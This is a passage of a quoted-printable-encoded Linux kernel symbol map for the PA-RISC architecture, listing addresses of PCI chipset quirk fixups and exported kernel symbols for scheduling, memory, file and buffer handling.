__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82443BX_0quirk_natoma=0A=
10310c50 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82443LX_1quirk_natoma=0A=
10310c58 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82443LX_0quirk_natoma=0A=
10310c60 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82441quirk_natoma=0A=
10310c68 r =
__pci_fixup_PCI_VENDOR_ID_ALPCI_DEVICE_ID_AL_M1651quirk_alimagik=0A=
10310c70 r =
__pci_fixup_PCI_VENDOR_ID_ALPCI_DEVICE_ID_AL_M1647quirk_alimagik=0A=
10310c78 r =
__pci_fixup_PCI_VENDOR_ID_VIAPCI_DEVICE_ID_VIA_82C576quirk_vsfx=0A=
10310c80 r =
__pci_fixup_PCI_VENDOR_ID_VIAPCI_DEVICE_ID_VIA_82C597_0quirk_viaetbf=0A=
10310c88 r =
__pci_fixup_PCI_VENDOR_ID_VIAPCI_DEVICE_ID_VIA_8361quirk_vialatency=0A=
10310c90 r =
__pci_fixup_PCI_VENDOR_ID_VIAPCI_DEVICE_ID_VIA_8371_1quirk_vialatency=0A=
10310c98 r =
__pci_fixup_PCI_VENDOR_ID_VIAPCI_DEVICE_ID_VIA_8363_0quirk_vialatency=0A=
10310ca0 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82439TXquirk_triton=0A=
10310ca8 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82439quirk_triton=0A=
10310cb0 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82437VXquirk_triton=0A=
10310cb8 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82437quirk_triton=0A=
10310cc0 r __pci_fixup_PCI_VENDOR_ID_SIPCI_DEVICE_ID_SI_496quirk_nopcipci=0A=
10310cc8 r =
__pci_fixup_PCI_VENDOR_ID_SIPCI_DEVICE_ID_SI_5597quirk_nopcipci=0A=
10310cd0 r =
__pci_fixup_PCI_VENDOR_ID_NECPCI_DEVICE_ID_NEC_CBUS_3quirk_isa_dma_hangs=0A=
10310cd8 r =
__pci_fixup_PCI_VENDOR_ID_NECPCI_DEVICE_ID_NEC_CBUS_2quirk_isa_dma_hangs=0A=
10310ce0 r =
__pci_fixup_PCI_VENDOR_ID_NECPCI_DEVICE_ID_NEC_CBUS_1quirk_isa_dma_hangs=0A=
10310ce8 r =
__pci_fixup_PCI_VENDOR_ID_ALPCI_DEVICE_ID_AL_M1533quirk_isa_dma_hangs=0A=
10310cf0 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82371SB_0quirk_isa_dma=
_hangs=0A=
10310cf8 r =
__pci_fixup_PCI_VENDOR_ID_VIAPCI_DEVICE_ID_VIA_82C596quirk_isa_dma_hangs=0A=
10310d00 r =
__pci_fixup_PCI_VENDOR_ID_VIAPCI_DEVICE_ID_VIA_82C586_0quirk_isa_dma_hang=
s=0A=
10310d08 r =
__pci_fixup_PCI_VENDOR_ID_INTELPCI_DEVICE_ID_INTEL_82441quirk_passive_rel=
ease=0A=
10310d10 r __pci_fixup_PCI_ANY_IDPCI_ANY_IDquirk_usb_early_handoff=0A=
10310d18 R __end_pci_fixups_final=0A=
10310d18 r __pci_fixup_PCI_VENDOR_ID_VIAPCI_ANY_IDquirk_via_irq=0A=
10310d18 R __start_pci_fixups_enable=0A=
10310d20 r =
__pci_fixup_PCI_VENDOR_ID_CIRRUSPCI_DEVICE_ID_CIRRUS_6832quirk_cirrus_car=
dbus=0A=
10310d28 R __end_pci_fixups_enable=0A=
10310d28 ? __end_rio_route_ops=0A=
10310d28 r __ksymtab_loops_per_jiffy=0A=
10310d28 R __start___ksymtab=0A=
10310d28 ? __start_rio_route_ops=0A=
10310d30 r __ksymtab_system_state=0A=
10310d38 r __ksymtab_system_utsname=0A=
10310d40 r __ksymtab_vmalloc_start=0A=
10310d48 r __ksymtab_flush_kernel_icache_range_asm=0A=
10310d50 r __ksymtab_flush_data_cache_local=0A=
10310d58 r __ksymtab_flush_kernel_dcache_page=0A=
10310d60 r __ksymtab_flush_kernel_dcache_range_asm=0A=
10310d68 r __ksymtab_flush_dcache_page=0A=
10310d70 r __ksymtab_flush_all_caches=0A=
10310d78 r __ksymtab_flush_cache_all_local=0A=
10310d80 r __ksymtab_dcache_stride=0A=
10310d88 r __ksymtab_dump_stack=0A=
10310d90 r __ksymtab_do_settimeofday=0A=
10310d98 r __ksymtab_do_gettimeofday=0A=
10310da0 r __ksymtab_profile_pc=0A=
10310da8 r __ksymtab_pdc_sti_call=0A=
10310db0 r __ksymtab_pdc_tod_set=0A=
10310db8 r __ksymtab_pdc_tod_read=0A=
10310dc0 r __ksymtab_pdc_get_initiator=0A=
10310dc8 r __ksymtab_pdc_stable_initialize=0A=
10310dd0 r __ksymtab_pdc_stable_verify_contents=0A=
10310dd8 r __ksymtab_pdc_stable_get_size=0A=
10310de0 r __ksymtab_pdc_stable_write=0A=
10310de8 r __ksymtab_pdc_stable_read=0A=
10310df0 r __ksymtab_pdc_lan_station_id=0A=
10310df8 r __ksymtab_pdc_iodc_read=0A=
10310e00 r __ksymtab_pdc_add_valid=0A=
10310e08 r __ksymtab_device_to_hwpath=0A=
10310e10 r __ksymtab_hwpath_to_device=0A=
10310e18 r __ksymtab_print_pci_hwpath=0A=
10310e20 r __ksymtab_get_pci_node_path=0A=
10310e28 r __ksymtab_print_pa_hwpath=0A=
10310e30 r __ksymtab_unregister_parisc_driver=0A=
10310e38 r __ksymtab_register_parisc_driver=0A=
10310e40 r __ksymtab_hppa_dma_ops=0A=
10310e48 r __ksymtab_$$dyncall=0A=
10310e50 r __ksymtab___canonicalize_funcptr_for_compare=0A=
10310e58 r __ksymtab___muldi3=0A=
10310e60 r __ksymtab___lshrdi3=0A=
10310e68 r __ksymtab___ashldi3=0A=
10310e70 r __ksymtab___ashrdi3=0A=
10310e78 r __ksymtab_$$divI_15=0A=
10310e80 r __ksymtab_$$divI_14=0A=
10310e88 r __ksymtab_$$divI_12=0A=
10310e90 r __ksymtab_$$divI_10=0A=
10310e98 r __ksymtab_$$divI_9=0A=
10310ea0 r __ksymtab_$$divI_7=0A=
10310ea8 r __ksymtab_$$divI_6=0A=
10310eb0 r __ksymtab_$$divI_5=0A=
10310eb8 r __ksymtab_$$divI_3=0A=
10310ec0 r __ksymtab_$$divU_15=0A=
10310ec8 r __ksymtab_$$divU_14=0A=
10310ed0 r __ksymtab_$$divU_7=0A=
10310ed8 r __ksymtab_$$divU_12=0A=
10310ee0 r __ksymtab_$$divU_10=0A=
10310ee8 r __ksymtab_$$divU_9=0A=
10310ef0 r __ksymtab_$$divU_6=0A=
10310ef8 r __ksymtab_$$divU_5=0A=
10310f00 r __ksymtab_$$divU_3=0A=
10310f08 r __ksymtab_$$mulI=0A=
10310f10 r __ksymtab_$$remU=0A=
10310f18 r __ksymtab_$$remI=0A=
10310f20 r __ksymtab_$$divU=0A=
10310f28 r __ksymtab_$$divI=0A=
10310f30 r __ksymtab___down=0A=
10310f38 r __ksymtab___down_interruptible=0A=
10310f40 r __ksymtab___up=0A=
10310f48 r __ksymtab_sys_write=0A=
10310f50 r __ksymtab_sys_read=0A=
10310f58 r __ksymtab_sys_lseek=0A=
10310f60 r __ksymtab_sys_open=0A=
10310f68 r __ksymtab_memset_io=0A=
10310f70 r __ksymtab_memcpy_fromio=0A=
10310f78 r __ksymtab_memcpy_toio=0A=
10310f80 r __ksymtab_iounmap=0A=
10310f88 r __ksymtab___ioremap=0A=
10310f90 r __ksymtab_$global$=0A=
10310f98 r __ksymtab_fixup_put_user_skip_2=0A=
10310fa0 r __ksymtab_fixup_put_user_skip_1=0A=
10310fa8 r __ksymtab_fixup_get_user_skip_2=0A=
10310fb0 r __ksymtab_fixup_get_user_skip_1=0A=
10310fb8 r __ksymtab_lstrnlen_user=0A=
10310fc0 r __ksymtab_lclear_user=0A=
10310fc8 r __ksymtab_lstrncpy_from_user=0A=
10310fd0 r __ksymtab___cmpxchg_u32=0A=
10310fd8 r __ksymtab___xchg32=0A=
10310fe0 r __ksymtab___xchg8=0A=
10310fe8 r __ksymtab_strpbrk=0A=
10310ff0 r __ksymtab_strstr=0A=
10310ff8 r __ksymtab_strrchr=0A=
10311000 r __ksymtab_strnlen=0A=
10311008 r __ksymtab_strncpy=0A=
10311010 r __ksymtab_strncmp=0A=
10311018 r __ksymtab_strncat=0A=
10311020 r __ksymtab_strlen=0A=
10311028 r __ksymtab_strcpy=0A=
10311030 r __ksymtab_strcmp=0A=
10311038 r __ksymtab_strchr=0A=
10311040 r __ksymtab_strcat=0A=
10311048 r __ksymtab_memset=0A=
10311050 r __ksymtab_memscan=0A=
10311058 r __ksymtab_memmove=0A=
10311060 r __ksymtab_memcmp=0A=
10311068 r __ksymtab_memchr=0A=
10311070 r __ksymtab_kernel_thread=0A=
10311078 r __ksymtab_pm_power_off=0A=
10311080 r __ksymtab_boot_cpu_data=0A=
10311088 r __ksymtab_pcibios_bus_to_resource=0A=
10311090 r __ksymtab_pcibios_resource_to_bus=0A=
10311098 r __ksymtab_outl=0A=
103110a0 r __ksymtab_outw=0A=
103110a8 r __ksymtab_outb=0A=
103110b0 r __ksymtab_inl=0A=
103110b8 r __ksymtab_inw=0A=
103110c0 r __ksymtab_inb=0A=
103110c8 r __ksymtab_init_task=0A=
103110d0 r __ksymtab_init_mm=0A=
103110d8 r __ksymtab_io_schedule=0A=
103110e0 r __ksymtab_yield=0A=
103110e8 r __ksymtab_cond_resched_softirq=0A=
103110f0 r __ksymtab_cond_resched_lock=0A=
103110f8 r __ksymtab_cond_resched=0A=
10311100 r __ksymtab_cpu_present_map=0A=
10311108 r __ksymtab_set_user_nice=0A=
10311110 r __ksymtab_sleep_on_timeout=0A=
10311118 r __ksymtab_sleep_on=0A=
10311120 r __ksymtab_interruptible_sleep_on_timeout=0A=
10311128 r __ksymtab_interruptible_sleep_on=0A=
10311130 r __ksymtab_wait_for_completion_interruptible_timeout=0A=
10311138 r __ksymtab_wait_for_completion_interruptible=0A=
10311140 r __ksymtab_wait_for_completion_timeout=0A=
10311148 r __ksymtab_wait_for_completion=0A=
10311150 r __ksymtab_complete_all=0A=
10311158 r __ksymtab_complete=0A=
10311160 r __ksymtab___wake_up=0A=
10311168 r __ksymtab_default_wake_function=0A=
10311170 r __ksymtab_schedule=0A=
10311178 r __ksymtab_per_cpu__kstat=0A=
10311180 r __ksymtab_wake_up_process=0A=
10311188 r __ksymtab_unshare_files=0A=
10311190 r __ksymtab_free_task=0A=
10311198 r __ksymtab_tasklist_lock=0A=
103111a0 r __ksymtab___set_personality=0A=
103111a8 r __ksymtab_unregister_exec_domain=0A=
103111b0 r __ksymtab_register_exec_domain=0A=
103111b8 r __ksymtab_add_taint=0A=
103111c0 r __ksymtab_panic=0A=
103111c8 r __ksymtab_panic_blink=0A=
103111d0 r __ksymtab_panic_notifier_list=0A=
103111d8 r __ksymtab_panic_timeout=0A=
103111e0 r __ksymtab_printk_ratelimit=0A=
103111e8 r __ksymtab___printk_ratelimit=0A=
103111f0 r __ksymtab_unregister_console=0A=
103111f8 r __ksymtab_register_console=0A=
10311200 r __ksymtab_console_start=0A=
10311208 r __ksymtab_console_stop=0A=
10311210 r __ksymtab_console_print=0A=
10311218 r __ksymtab_console_conditional_schedule=0A=
10311220 r __ksymtab_release_console_sem=0A=
10311228 r __ksymtab_is_console_locked=0A=
10311230 r __ksymtab_try_acquire_console_sem=0A=
10311238 r __ksymtab_acquire_console_sem=0A=
10311240 r __ksymtab_vprintk=0A=
10311248 r __ksymtab_printk=0A=
10311250 r __ksymtab_oops_in_progress=0A=
10311258 r __ksymtab_console_printk=0A=
10311260 r __ksymtab_next_thread=0A=
10311268 r __ksymtab_complete_and_exit=0A=
10311270 r __ksymtab_put_files_struct=0A=
10311278 r __ksymtab_daemonize=0A=
10311280 r __ksymtab_disallow_signal=0A=
10311288 r __ksymtab_allow_signal=0A=
10311290 r __ksymtab_jiffies=0A=
10311298 r __ksymtab_get_jiffies_64=0A=
103112a0 r __ksymtab_timespec_trunc=0A=
103112a8 r __ksymtab_current_fs_time=0A=
103112b0 r __ksymtab_current_kernel_time=0A=
103112b8 r __ksymtab_sys_tz=0A=
103112c0 r __ksymtab_tasklet_kill=0A=
103112c8 r __ksymtab_tasklet_init=0A=
103112d0 r __ksymtab___tasklet_hi_schedule=0A=
103112d8 r __ksymtab___tasklet_schedule=0A=
103112e0 r __ksymtab_open_softirq=0A=
103112e8 r __ksymtab_raise_softirq_irqoff=0A=
103112f0 r __ksymtab_local_bh_enable=0A=
103112f8 r __ksymtab_do_softirq=0A=
10311300 r __ksymtab_irq_stat=0A=
10311308 r __ksymtab___release_region=0A=
10311310 r __ksymtab___check_region=0A=
10311318 r __ksymtab___request_region=0A=
10311320 r __ksymtab_adjust_resource=0A=
10311328 r __ksymtab_insert_resource=0A=
10311330 r __ksymtab_allocate_resource=0A=
10311338 r __ksymtab_release_resource=0A=
10311340 r __ksymtab_____request_resource=0A=
10311348 r __ksymtab_request_resource=0A=
10311350 r __ksymtab_iomem_resource=0A=
10311358 r __ksymtab_ioport_resource=0A=
10311360 r __ksymtab_unregister_sysctl_table=0A=
10311368 r __ksymtab_sysctl_string=0A=
10311370 r __ksymtab_sysctl_ms_jiffies=0A=
10311378 r __ksymtab_sysctl_jiffies=0A=
10311380 r __ksymtab_sysctl_intvec=0A=
10311388 r __ksymtab_register_sysctl_table=0A=
10311390 r __ksymtab_proc_doulongvec_ms_jiffies_minmax=0A=
10311398 r __ksymtab_proc_doulongvec_minmax=0A=
103113a0 r __ksymtab_proc_dostring=0A=
103113a8 r __ksymtab_proc_dointvec_ms_jiffies=0A=
103113b0 r __ksymtab_proc_dointvec_userhz_jiffies=0A=
103113b8 r __ksymtab_proc_dointvec_minmax=0A=
103113c0 r __ksymtab_proc_dointvec_jiffies=0A=
103113c8 r __ksymtab_proc_dointvec=0A=
103113d0 r __ksymtab_cap_bset=0A=
103113d8 r __ksymtab_securebits=0A=
103113e0 r __ksymtab_msleep_interruptible=0A=
103113e8 r __ksymtab_msleep=0A=
103113f0 r __ksymtab_schedule_timeout_uninterruptible=0A=
103113f8 r __ksymtab_schedule_timeout_interruptible=0A=
10311400 r __ksymtab_schedule_timeout=0A=
10311408 r __ksymtab_xtime_lock=0A=
10311410 r __ksymtab_avenrun=0A=
10311418 r __ksymtab_xtime=0A=
10311420 r __ksymtab_del_timer=0A=
10311428 r __ksymtab_mod_timer=0A=
10311430 r __ksymtab___mod_timer=0A=
10311438 r __ksymtab_init_timer=0A=
10311440 r __ksymtab___init_timer_base=0A=
10311448 r __ksymtab_jiffies_64=0A=
10311450 r __ksymtab_unblock_all_signals=0A=
10311458 r __ksymtab_block_all_signals=0A=
10311460 r __ksymtab_sigprocmask=0A=
10311468 r __ksymtab_send_sig_info=0A=
10311470 r __ksymtab_send_sig=0A=
10311478 r __ksymtab_ptrace_notify=0A=
10311480 r __ksymtab_kill_proc=0A=
10311488 r __ksymtab_kill_pg=0A=
10311490 r __ksymtab_force_sig=0A=
10311498 r __ksymtab_flush_signals=0A=
103114a0 r __ksymtab_recalc_sigpending=0A=
103114a8 r __ksymtab_uts_sem=0A=
103114b0 r __ksymtab_in_egroup_p=0A=
103114b8 r __ksymtab_in_group_p=0A=
103114c0 r __ksymtab_set_current_groups=0A=
103114c8 r __ksymtab_groups_free=0A=
103114d0 r __ksymtab_groups_alloc=0A=
103114d8 r __ksymtab_unregister_reboot_notifier=0A=
103114e0 r __ksymtab_register_reboot_notifier=0A=
103114e8 r __ksymtab_notifier_call_chain=0A=
103114f0 r __ksymtab_notifier_chain_unregister=0A=
103114f8 r __ksymtab_notifier_chain_register=0A=
10311500 r __ksymtab_fs_overflowgid=0A=
10311508 r __ksymtab_fs_overflowuid=0A=
10311510 r __ksymtab_call_usermodehelper_keys=0A=
10311518 r __ksymtab_request_module=0A=
10311520 r __ksymtab_flush_scheduled_work=0A=
10311528 r __ksymtab_schedule_delayed_work_on=0A=
10311530 r __ksymtab_schedule_delayed_work=0A=
10311538 r __ksymtab_schedule_work=0A=
10311540 r __ksymtab_cancel_rearming_delayed_work=0A=
10311548 r __ksymtab_cancel_rearming_delayed_workqueue=0A=
10311550 r __ksymtab_find_task_by_pid_type=0A=
10311558 r __ksymtab_synchronize_kernel=0A=
10311560 r __ksymtab_call_rcu_bh=0A=
10311568 r __ksymtab_call_rcu=0A=
10311570 r __ksymtab_inter_module_put=0A=
10311578 r __ksymtab_inter_module_get_request=0A=
10311580 r __ksymtab_inter_module_unregister=0A=
10311588 r __ksymtab_inter_module_register=0A=
10311590 r __ksymtab_param_get_string=0A=
10311598 r __ksymtab_param_set_copystring=0A=
103115a0 r __ksymtab_param_array_get=0A=
103115a8 r __ksymtab_param_array_set=0A=
103115b0 r __ksymtab_param_get_invbool=0A=
103115b8 r __ksymtab_param_set_invbool=0A=
103115c0 r __ksymtab_param_get_bool=0A=
103115c8 r __ksymtab_param_set_bool=0A=
103115d0 r __ksymtab_param_get_charp=0A=
103115d8 r __ksymtab_param_set_charp=0A=
103115e0 r __ksymtab_param_get_ulong=0A=
103115e8 r __ksymtab_param_set_ulong=0A=
103115f0 r __ksymtab_param_get_long=0A=
103115f8 r __ksymtab_param_set_long=0A=
10311600 r __ksymtab_param_get_uint=0A=
10311608 r __ksymtab_param_set_uint=0A=
10311610 r __ksymtab_param_get_int=0A=
10311618 r __ksymtab_param_set_int=0A=
10311620 r __ksymtab_param_get_ushort=0A=
10311628 r __ksymtab_param_set_ushort=0A=
10311630 r __ksymtab_param_get_short=0A=
10311638 r __ksymtab_param_set_short=0A=
10311640 r __ksymtab_param_get_byte=0A=
10311648 r __ksymtab_param_set_byte=0A=
10311650 r __ksymtab_kthread_stop_sem=0A=
10311658 r __ksymtab_kthread_stop=0A=
10311660 r __ksymtab_kthread_bind=0A=
10311668 r __ksymtab_kthread_create=0A=
10311670 r __ksymtab_kthread_should_stop=0A=
10311678 r __ksymtab_bit_waitqueue=0A=
10311680 r __ksymtab_wake_up_bit=0A=
10311688 r __ksymtab___wake_up_bit=0A=
10311690 r __ksymtab_out_of_line_wait_on_bit_lock=0A=
10311698 r __ksymtab___wait_on_bit_lock=0A=
103116a0 r __ksymtab_out_of_line_wait_on_bit=0A=
103116a8 r __ksymtab___wait_on_bit=0A=
103116b0 r __ksymtab_wake_bit_function=0A=
103116b8 r __ksymtab_autoremove_wake_function=0A=
103116c0 r __ksymtab_finish_wait=0A=
103116c8 r __ksymtab_prepare_to_wait_exclusive=0A=
103116d0 r __ksymtab_prepare_to_wait=0A=
103116d8 r __ksymtab_remove_wait_queue=0A=
103116e0 r __ksymtab_add_wait_queue_exclusive=0A=
103116e8 r __ksymtab_add_wait_queue=0A=
103116f0 r __ksymtab___kfifo_get=0A=
103116f8 r __ksymtab___kfifo_put=0A=
10311700 r __ksymtab_kfifo_free=0A=
10311708 r __ksymtab_kfifo_alloc=0A=
10311710 r __ksymtab_kfifo_init=0A=
10311718 r __ksymtab_module_remove_driver=0A=
10311720 r __ksymtab_module_add_driver=0A=
10311728 r __ksymtab___symbol_put=0A=
10311730 r __ksymtab_module_refcount=0A=
10311738 r __ksymtab___module_put_and_exit=0A=
10311740 r __ksymtab_unregister_module_notifier=0A=
10311748 r __ksymtab_register_module_notifier=0A=
10311750 r __ksymtab___print_symbol=0A=
10311758 r __ksymtab_request_irq=0A=
10311760 r __ksymtab_free_irq=0A=
10311768 r __ksymtab_enable_irq=0A=
10311770 r __ksymtab_disable_irq=0A=
10311778 r __ksymtab_disable_irq_nosync=0A=
10311780 r __ksymtab_probe_irq_off=0A=
10311788 r __ksymtab_probe_irq_mask=0A=
10311790 r __ksymtab_probe_irq_on=0A=
10311798 r __ksymtab_max_pfn=0A=
103117a0 r __ksymtab_generic_file_writev=0A=
103117a8 r __ksymtab_generic_file_readv=0A=
103117b0 r __ksymtab_generic_file_write=0A=
103117b8 r __ksymtab_generic_file_aio_write=0A=
103117c0 r __ksymtab_generic_file_write_nolock=0A=
103117c8 r __ksymtab_generic_file_aio_write_nolock=0A=
103117d0 r __ksymtab_generic_file_buffered_write=0A=
103117d8 r __ksymtab_generic_file_direct_write=0A=
103117e0 r __ksymtab_generic_write_checks=0A=
103117e8 r __ksymtab_remove_suid=0A=
103117f0 r __ksymtab_read_cache_page=0A=
103117f8 r __ksymtab_generic_file_readonly_mmap=0A=
10311800 r __ksymtab_generic_file_mmap=0A=
10311808 r __ksymtab_filemap_populate=0A=
10311810 r __ksymtab_filemap_nopage=0A=
10311818 r __ksymtab_generic_file_sendfile=0A=
10311820 r __ksymtab_generic_file_read=0A=
10311828 r __ksymtab_generic_file_aio_read=0A=
10311830 r __ksymtab___generic_file_aio_read=0A=
10311838 r __ksymtab_do_generic_mapping_read=0A=
10311840 r __ksymtab_grab_cache_page_nowait=0A=
10311848 r __ksymtab_find_or_create_page=0A=
10311850 r __ksymtab_find_lock_page=0A=
10311858 r __ksymtab_find_trylock_page=0A=
10311860 r __ksymtab_find_get_page=0A=
10311868 r __ksymtab___lock_page=0A=
10311870 r __ksymtab_end_page_writeback=0A=
10311878 r __ksymtab_unlock_page=0A=
10311880 r __ksymtab_wait_on_page_bit=0A=
10311888 r __ksymtab_add_to_page_cache=0A=
10311890 r __ksymtab_filemap_fdatawait=0A=
10311898 r __ksymtab_sync_page_range=0A=
103118a0 r __ksymtab_filemap_flush=0A=
103118a8 r __ksymtab_filemap_fdatawrite=0A=
103118b0 r __ksymtab_mempool_free_slab=0A=
103118b8 r __ksymtab_mempool_alloc_slab=0A=
103118c0 r __ksymtab_mempool_free=0A=
103118c8 r __ksymtab_mempool_alloc=0A=
103118d0 r __ksymtab_mempool_destroy=0A=
103118d8 r __ksymtab_mempool_resize=0A=
103118e0 r __ksymtab_mempool_create_node=0A=
103118e8 r __ksymtab_mempool_create=0A=
103118f0 r __ksymtab_contig_page_data=0A=
103118f8 r __ksymtab_si_meminfo=0A=
10311900 r __ksymtab___mod_page_state=0A=
10311908 r __ksymtab_nr_pagecache=0A=
10311910 r __ksymtab_nr_free_pages=0A=
10311918 r __ksymtab_free_pages=0A=
10311920 r __ksymtab___free_pages=0A=
10311928 r __ksymtab_get_zeroed_page=0A=
10311930 r __ksymtab___get_free_pages=0A=
10311938 r __ksymtab___alloc_pages=0A=
10311940 r __ksymtab_zone_table=0A=
10311948 r __ksymtab_totalram_pages=0A=
10311950 r __ksymtab_node_possible_map=0A=
10311958 r __ksymtab_node_online_map=0A=
10311960 r __ksymtab_mapping_tagged=0A=
10311968 r __ksymtab_test_set_page_writeback=0A=
10311970 r __ksymtab_clear_page_dirty_for_io=0A=
10311978 r __ksymtab_test_clear_page_dirty=0A=
10311980 r __ksymtab_set_page_dirty_lock=0A=
10311988 r __ksymtab_set_page_dirty=0A=
10311990 r __ksymtab_redirty_page_for_writepage=0A=
10311998 r __ksymtab___set_page_dirty_nobuffers=0A=
103119a0 r __ksymtab_write_one_page=0A=
103119a8 r __ksymtab_balance_dirty_pages_ratelimited=0A=
103119b0 r __ksymtab_laptop_mode=0A=
103119b8 r __ksymtab_read_cache_pages=0A=
103119c0 r __ksymtab_default_unplug_io_fn=0A=
103119c8 r __ksymtab_kstrdup=0A=
103119d0 r __ksymtab_kmem_cache_size=0A=
103119d8 r __ksymtab_kfree=0A=
103119e0 r __ksymtab_kzalloc=0A=
103119e8 r __ksymtab_kmem_cache_free=0A=
103119f0 r __ksymtab___kmalloc=0A=
103119f8 r __ksymtab_kmem_cache_alloc=0A=
10311a00 r __ksymtab_kmem_cache_destroy=0A=
10311a08 r __ksymtab_kmem_cache_shrink=0A=
10311a10 r __ksymtab_kmem_cache_create=0A=
10311a18 r __ksymtab_kmem_find_general_cachep=0A=
10311a20 r __ksymtab_malloc_sizes=0A=
10311a28 r __ksymtab_pagevec_lookup_tag=0A=
10311a30 r __ksymtab___pagevec_lru_add=0A=
10311a38 r __ksymtab___pagevec_release=0A=
10311a40 r __ksymtab___page_cache_release=0A=
10311a48 r __ksymtab_mark_page_accessed=0A=
10311a50 r __ksymtab_put_page=0A=
10311a58 r __ksymtab_invalidate_inode_pages=0A=
10311a60 r __ksymtab_truncate_inode_pages=0A=
10311a68 r __ksymtab_remove_shrinker=0A=
10311a70 r __ksymtab_set_shrinker=0A=
10311a78 r __ksymtab_install_page=0A=
10311a80 r __ksymtab_blk_queue_bounce=0A=
10311a88 r __ksymtab_vmalloc_to_pfn=0A=
10311a90 r __ksymtab_vmalloc_to_page=0A=
10311a98 r __ksymtab_vmtruncate=0A=
10311aa0 r __ksymtab_unmap_mapping_range=0A=
10311aa8 r __ksymtab_remap_pfn_range=0A=
10311ab0 r __ksymtab_vm_insert_page=0A=
10311ab8 r __ksymtab_get_user_pages=0A=
10311ac0 r __ksymtab_vmalloc_earlyreserve=0A=
10311ac8 r __ksymtab_high_memory=0A=
10311ad0 r __ksymtab_num_physpages=0A=
10311ad8 r __ksymtab_mem_map=0A=
10311ae0 r __ksymtab_max_mapnr=0A=
10311ae8 r __ksymtab_do_brk=0A=
10311af0 r __ksymtab_do_munmap=0A=
10311af8 r __ksymtab_find_vma=0A=
10311b00 r __ksymtab_get_unmapped_area=0A=
10311b08 r __ksymtab_do_mmap_pgoff=0A=
10311b10 r __ksymtab___vm_enough_memory=0A=
10311b18 r __ksymtab_vmalloc_32=0A=
10311b20 r __ksymtab_vmalloc_node=0A=
10311b28 r __ksymtab_vmalloc=0A=
10311b30 r __ksymtab___vmalloc=0A=
10311b38 r __ksymtab___vmalloc_node=0A=
10311b40 r __ksymtab_vmap=0A=
10311b48 r __ksymtab_vunmap=0A=
10311b50 r __ksymtab_vfree=0A=
10311b58 r __ksymtab_nonseekable_open=0A=
10311b60 r __ksymtab_generic_file_open=0A=
10311b68 r __ksymtab_sys_close=0A=
10311b70 r __ksymtab_filp_close=0A=
10311b78 r __ksymtab_fd_install=0A=
10311b80 r __ksymtab_put_unused_fd=0A=
10311b88 r __ksymtab_get_unused_fd=0A=
10311b90 r __ksymtab_dentry_open=0A=
10311b98 r __ksymtab_filp_open=0A=
10311ba0 r __ksymtab_vfs_statfs=0A=
10311ba8 r __ksymtab_vfs_writev=0A=
10311bb0 r __ksymtab_vfs_readv=0A=
10311bb8 r __ksymtab_iov_shorten=0A=
10311bc0 r __ksymtab_vfs_write=0A=
10311bc8 r __ksymtab_do_sync_write=0A=
10311bd0 r __ksymtab_vfs_read=0A=
10311bd8 r __ksymtab_do_sync_read=0A=
10311be0 r __ksymtab_vfs_llseek=0A=
10311be8 r __ksymtab_default_llseek=0A=
10311bf0 r __ksymtab_no_llseek=0A=
10311bf8 r __ksymtab_remote_llseek=0A=
10311c00 r __ksymtab_generic_file_llseek=0A=
10311c08 r __ksymtab_generic_ro_fops=0A=
10311c10 r __ksymtab_fget=0A=
10311c18 r __ksymtab_fput=0A=
10311c20 r __ksymtab_get_empty_filp=0A=
10311c28 r __ksymtab_files_stat=0A=
10311c30 r __ksymtab_unlock_buffer=0A=
10311c38 r __ksymtab_sync_dirty_buffer=0A=
10311c40 r __ksymtab_submit_bh=0A=
10311c48 r __ksymtab_mark_buffer_dirty=0A=
10311c50 r __ksymtab_ll_rw_block=0A=
10311c58 r __ksymtab_invalidate_bdev=0A=
10311c60 r __ksymtab_init_buffer=0A=
10311c68 r __ksymtab_generic_cont_expand=0A=
10311c70 r __ksymtab_generic_commit_write=0A=
10311c78 r __ksymtab_generic_block_bmap=0A=
10311c80 r __ksymtab_fsync_bdev=0A=
10311c88 r __ksymtab_file_fsync=0A=
10311c90 r __ksymtab_end_buffer_write_sync=0A=
10311c98 r __ksymtab_end_buffer_read_sync=0A=
10311ca0 r __ksymtab_end_buffer_async_write=0A=
10311ca8 r __ksymtab_cont_prepare_write=0A=
10311cb0 r __ksymtab_block_write_full_page=0A=
10311cb8 r __ksymtab_block_truncate_page=0A=
10311cc0 r __ksymtab_block_sync_page=0A=
10311cc8 r __ksymtab_block_read_full_page=0A=
10311cd0 r __ksymtab_block_prepare_write=0A=
10311cd8 r __ksymtab_block_commit_write=0A=
10311ce0 r __ksymtab___wait_on_buffer=0A=
10311ce8 r __ksymtab___brelse=0A=
10311cf0 r __ksymtab___bforget=0A=
10311cf8 r __ksymtab_free_buffer_head=0A=
10311d00 r __ksymtab_alloc_buffer_head=0A=
10311d08 r __ksymtab_try_to_free_buffers=0A=
10311d10 r __ksymtab_nobh_truncate_page=0A=
10311d18 r __ksymtab_nobh_writepage=0A=
10311d20 r __ksymtab_nobh_commit_write=0A=
10311d28 r __ksymtab_nobh_prepare_write=0A=
10311d30 r __ksymtab_unmap_underlying_metadata=0A=
10311d38 r __ksymtab_create_empty_buffers=0A=
10311d40 r __ksymtab_block_invalidatepage=0A=
10311d48 r __ksymtab_try_to_release_page=0A=
10311d50 r __ksymtab_set_bh_page=0A=
10311d58 r __ksymtab___bread=0A=
10311d60 r __ksymtab___breadahead=0A=
10311d68 r __ksymtab___getblk=0A=
10311d70 r __ksymtab___find_get_block=0A=
10311d78 r __ksymtab___set_page_dirty_buffers=0A=
10311d80 r __ksymtab_mark_buffer_dirty_inode=0A=
10311d88 r __ksymtab_sync_mapping_buffers=0A=
10311d90 r __ksymtab_mark_buffer_async_write=0A=
10311d98 r __ksymtab_thaw_bdev=0A=
10311da0 r __ksymtab_freeze_bdev=0A=
10311da8 r __ksymtab_sync_blockdev=0A=
10311db0 r __ksymtab___lock_buffer=0A=
